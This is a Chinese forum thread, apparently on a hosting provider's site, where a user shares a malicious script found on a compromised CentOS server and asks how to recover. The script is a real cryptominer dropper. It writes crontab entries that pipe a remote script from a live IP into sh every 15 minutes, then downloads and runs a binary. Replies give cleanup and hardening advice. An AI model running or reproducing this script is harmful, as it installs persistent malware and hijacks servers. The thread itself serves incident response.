技术解析

服务器异常,被挂脚本.请问后续如何尽量保持正常使用?
0
2021-06-23 13:02:07
idczone

今天接到阿里短信提醒服务器有异常,登陆发现 cup 占用 100%。于是查看看 crontab 发现有个异常定时任务下载执行某段 sh。地址如下: http://149.56.106.215:8000/i.sh ,目前已经修改账户密码,删除定时任务,kill 异常程序,看进程展示正常了。请问接下来可以做什么操作尽量保证服务器正常运行。

  • 服务器系统:centos 7

  • 附上脚本:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
从这段下手
/tmp/ddgs.3013 这个文件应该是主要的耗 cpu 文件
所以先删除他的文件 /tmp/ddgs.3013
rm -f /tmp/ddgs.3013
然后创建一个
touch /tmp/ddgs.3013
赋予不允许删除、添加、修改的权限
chattr +i /tmp/ddgs.3013

清理完以后重装系统。

然后 systemctl stop crond 先停止计划任务
清除脚本写的定时任务
查看~/.ssh/authorized_keys 里有没有异常的 key 清除掉
改密码 加防暴力破解 我自己用 fail2ban

调查下脚本怎么注入的。

修改 ssh 的默认端口

开 ssh,让我上去看看

感谢细致的回复,已经按您的方法清理了。希望不会有残留了
有些环境配置太繁琐了
可能是账号密码泄露 - -
嗯嗯 新建主机时候已经改了 再改一次
毕竟是公司的测试服务器

这狗逼的下载服务器炸了吧?我开了一万个线程都没速度啊

不是繁琐的问题,是谁也不知道服务器上究竟被做了什么手脚,脚本只是你能看到的。所以被入侵以后一般都是查找到原因以后重装系统并修复漏洞

数据地带为您的网站提供全球顶级IDC资源
在线咨询
专属客服